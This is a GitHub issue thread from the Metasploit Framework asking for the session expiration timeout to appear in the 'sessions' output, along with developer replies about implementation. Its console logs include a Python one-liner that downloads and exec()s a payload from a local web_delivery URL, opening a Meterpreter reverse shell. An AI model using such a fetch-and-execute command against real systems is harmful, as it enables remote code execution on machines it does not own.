rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
34.14k stars 13.97k forks source link

Expose session expiration timeout #19023

Open h00die opened 7 months ago

h00die commented 7 months ago

Session expiration timeout (aka auto kill a session after X seconds) is a great feature. However, once set it's not displayed anywhere.

Example

msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set sessionexpirationtimeout 60
sessionexpirationtimeout => 60
[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > rexploit
[*] Reloading module...
[*] Exploit running as background job 3.
[*] Exploit completed, but no session was created.
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444 
[*] Using URL: http://127.0.0.1:8080/vKw2XXf4XEEa
[*] Server started.
[*] Run the following command on the target machine:
python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://127.0.0.1:8080/vKw2XXf4XEEa', context=ssl._create_unverified_context());exec(r.read());"
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://127.0.0.1:8080/vKw2XXf4XEEa', context=ssl._create_unverified_context());exec(r.read());"
[*] exec: python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://127.0.0.1:8080/vKw2XXf4XEEa', context=ssl._create_unverified_context());exec(r.read());"

[*] 127.0.0.1        web_delivery - Delivering Payload (428 bytes)
[*] Sending stage (24768 bytes) to 127.0.0.1
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > [*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:52948) at 2024-03-28 10:13:42 -0400

So we have a session and the expiration is 60 seconds.

[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions

Active sessions
===============

  Id  Name  Type                      Information            Connection
  --  ----  ----                      -----------            ----------
  1         meterpreter python/linux  h00die @ laptop  127.0.0.1:4444 -> 127.0.0.1:52948 (127.0.0.1)

[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -x

Active sessions
===============

  Id  Name  Type                      Checkin?  Enc?  Local URI  Information            Connection
  --  ----  ----                      --------  ----  ---------  -----------            ----------
  1         meterpreter python/linux  8s ago    Y     ?          h00die @ laptop  127.0.0.1:4444 -> 127.0.0.1:52948 (127.0.0.1)

[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -v

Active sessions
===============

  Session ID: 1
        Name: 
        Type: meterpreter linux
        Info: h00die @ laptop
      Tunnel: 127.0.0.1:4444 -> 127.0.0.1:52948 (127.0.0.1)
         Via: exploit/multi/script/web_delivery
   Encrypted: Yes (AES-256-CBC)
        UUID: 0ad46e56476ef527/python=20/linux=6/2024-03-28T14:13:41Z
     CheckIn: 13s ago @ 2024-03-28 10:13:41 -0400
  Registered: No

[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > [*] 127.0.0.1 - Meterpreter session 1 closed.  Reason: Died

oh no, our session died! Well it died because of the 60sec timeout. However, that value isn't displayed anywhere.

Improvements

I think the sessions command should have a column shown for this value. Not the 60, but the actual datetime of the expiration, so 2024-03-28 10:14:42 in this case. I like this being shown in the sessions command, as opposed to sessions -x because I think its important information for all sessions, to be able to quickly verify when our session will die. However, if the value doesn't exist for all established sessions, it could be removed. If you don't like variable column counts for a table, then it could go into -x

sessions -v should likely also expose this information.

This was discussed in slack with @adfoster-r7 and @jmartin-tech .

nrathaus commented 6 months ago

sessions -v output code is found in: lib/msf/base/serializer/readable_text.rb

nrathaus commented 6 months ago

Fix suggested - https://github.com/rapid7/metasploit-framework/pull/19119

I am not sure if we want or not to fix the aligning:

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:42404) at 2024-04-21 14:24:57 +0300
ssions -v

Active sessions
===============

  Session ID: 1
        Name: 
        Type: meterpreter linux
        Info: noam @ noam-x-K-x
      Tunnel: 127.0.0.1:4444 -> 127.0.0.1:42404 (127.0.0.1)
         Via: exploit/multi/script/web_delivery
   Encrypted: Yes (AES-256-CBC)
        UUID: 34c090034951e3e2/python=20/linux=6/2024-04-21T11:24:56Z
     CheckIn: 5s ago @ 2024-04-21 14:24:57 +0300
  Registered: No
  SessionExpirationTimeout: 60

Recreate:

use multi/script/web_delivery
set LHOST 127.0.0.1
set sessionexpirationtimeout 60
rexploit

== Separate window

Run the provided python line

== Return back
sessions -v
nrathaus commented 6 months ago

This is how it would look if it was aligned:

                Session ID: 1
                      Name: 
                      Type: meterpreter linux
                      Info: noam @ noam-x-K-x
                    Tunnel: 127.0.0.1:4444 -> 127.0.0.1:42404 (127.0.0.1)
                       Via: exploit/multi/script/web_delivery
                 Encrypted: Yes (AES-256-CBC)
                      UUID: 34c090034951e3e2/python=20/linux=6/2024-04-21T11:24:56Z
                   CheckIn: 5s ago @ 2024-04-21 14:24:57 +0300
                Registered: No
  SessionExpirationTimeout: 60
smcintyre-r7 commented 4 months ago

Isn't the session expiration shown by the get_timeouts command?

e.g.

meterpreter > get_timeouts 
Session Expiry  : @ 2024-07-01 16:11:25
Comm Timeout    : 300 seconds
Retry Total Time: 3600 seconds
Retry Wait Time : 10 seconds
meterpreter > 

It seems reasonable to retrieve it and show it in sessions -v though I guess. The thing is that it can change, so we'd either need to fetch it everytime sessions -v is run, or cache it and keep it synced whenever it changes. That would probably involve getting it when the session is established and anytime the user changes it.

h00die commented 4 months ago

I think the cache and sync when changed implementation idea seems reasonable.